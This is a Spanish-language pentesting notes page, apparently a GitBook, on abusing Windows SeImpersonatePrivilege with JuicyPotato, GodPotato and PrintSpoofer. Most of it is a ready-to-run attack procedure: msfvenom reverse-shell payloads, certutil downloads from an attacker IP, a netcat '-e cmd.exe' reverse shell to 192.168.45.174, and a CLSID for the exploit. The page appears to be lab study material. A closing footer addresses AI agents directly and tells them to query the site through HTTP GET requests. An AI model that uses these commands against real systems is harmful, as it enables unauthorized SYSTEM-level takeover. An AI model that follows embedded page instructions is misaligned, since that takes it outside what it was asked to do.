# SeImpersonatePrivilege

Es un privilegio de Windows que permite a un proceso **suplantar la identidad de otro usuario/cliente** después de la autenticación.

Vemos si tenemos el privilegio activado.

<figure><img src="/files/HsGSUK7ofuEP9P9HFyKZ" alt=""><figcaption></figcaption></figure>

### **Paso 1: Enumerar arquitectura y versión**

También necesitamos saber la arquitectura y que versión es el servidor.

**Arquitectura**

```
systeminfo | findstr /i "type"
```

<figure><img src="/files/zl6ezhyh18znvRXWcF6f" alt=""><figcaption></figcaption></figure>

**Versión**

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

<figure><img src="/files/VPlFTauO5YYzm8025Xcx" alt=""><figcaption></figcaption></figure>

***

### JuicyPotato

#### **Paso 2: Descargar Juicy Potato y subir al servidor**

Antes de nada, así funciona Juicy Potato

1. Crea servidor RPC fake (puerto 1337)
2. Solicita al sistema crear instancia DCOM (usando CLSID)
3. El sistema se conecta al servidor RPC fake
4. JuicyPotato roba el token de SYSTEM
5. Crea proceso con token robado

Nos descargamos Juicy Potato, en función de la arquitectura que tenga el servidor.

[JuicyPotatoX86](https://github.com/ivanitlearning/Juicy-Potato-x86/releases) [JuicyPotatoX64](https://github.com/ohpe/juicy-potato/releases)

Ahora lo subimos al servidor con un simple servidor de Python

<figure><img src="/files/bHzC9d0h8AAdBYqjr2kQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/u8ll2TwBl7ZxuEvjEYyh" alt=""><figcaption></figcaption></figure>

#### **Paso 3: Crear Reverse Shell con msfvenom**

Lo siguiente es crear la reverse shell que ejecutaremos con juicypotato. En este caso como la arquitectura es x86, pues hay que especificarlo también.

**Arquitectura x64**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP_KALI> LPORT=1338 -f exe -o shell.exe`
```

**Arquitectura x86**

```
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<IP_KALI> LPORT=1338 -f exe -o shell.exe
```

<figure><img src="/files/9rKDPXk9BVvq7I0UjSSH" alt=""><figcaption></figcaption></figure>

Ahora lo subimos igual que subimos el JuicyPotato.

<figure><img src="/files/hc8hWwrl1JssvGlyA9tc" alt=""><figcaption></figcaption></figure>

#### **Paso 4: Enumerar el CLSID**

Este paso es importante ya que necesitamos el CLSID para poder ejecutar el JuicyPotato

**Pequeña Analogía**

* CLSID = La **llave específica** para una cerradura. (Cambia en función de la Versión, Sistema Operativo, etc.)
* Componente DCOM = La **cerradura**
* Token de SYSTEM = El **tesoro** dentro de la habitación

Entonces necesitamos saber el CLSID para que JuicyPotato pueda "abrir" la cerradura.

```
reg query HKCR\CLSID /s /f "LocalService" 2>nul
```

<figure><img src="/files/sOPwVAG3aKXcqLvRu6ge" alt=""><figcaption></figcaption></figure>

#### **Paso 5: Conseguir la reverse Shell**

Entonces ahora ejecutamos el siguiente comando poniéndonos en escucha por el puerto elegido:

```
.\JuicyPotato86.exe -t * -p shell.exe -l 1338 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
```

<figure><img src="/files/Ri6UXfjfH55mfBfvR5z4" alt=""><figcaption></figcaption></figure>

Y recibimos la shell correctamente.

<figure><img src="/files/s9cwhNhXqjCTdg7jCziO" alt=""><figcaption></figcaption></figure>

***

### GodPotato

#### **Paso 2: Descargar archivos necesarios y subir al servidor**

[GodPotato](https://github.com/BeichenDream/GodPotato/releases)

[nc64.exe](https://github.com/int0x33/nc.exe/blob/master/nc64.exe)

Los subimos al servidor

```
certutil.exe -f -urlcache -split http://192.168.45.174:8000/GodPotato-NET4.exe
```

```
certutil.exe -f -urlcache -split http://192.168.45.174:8000/nc64.exe nc64.exe
```

<figure><img src="/files/RpD3UnKj3nZ45ZLMt64T" alt=""><figcaption></figcaption></figure>

#### **Paso 3: Conseguir la reverse shell**

Nos ponemos en escucha por este puerto por ejemplo.

<figure><img src="/files/hIka4hAgAd7K4BTsRaTh" alt=""><figcaption></figcaption></figure>

Y ejecutamos el comando de tal forma poniendo la ruta absoluta donde se encuentre nc64.exe

```
.\GodPotato-NET4.exe -cmd "C:\Users\nathan\Desktop\nc64.exe 192.168.45.174 1338 -e cmd.exe"
```

<figure><img src="/files/zmHA0iM4dVyaH3tyr6tR" alt=""><figcaption></figcaption></figure>

### PrintSpoofer

[PrintSpoofer](https://github.com/itm4n/PrintSpoofer/releases/)

Lo subimos al servidor

```
certutil.exe -f -urlcache -split http://192.168.45.174:8000/PrintSpoofer64.exe PrintSpoofer64.exe
```

Y lo ejecutamos

```
.\PrintSpoofer64.exe -i -c cmd
```

<figure><img src="/files/zpIdRvnU4cheHSWphX3e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alv-fh.gitbook.io/alv-fh/windows-privilege-escalation/seimpersonateprivilege.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
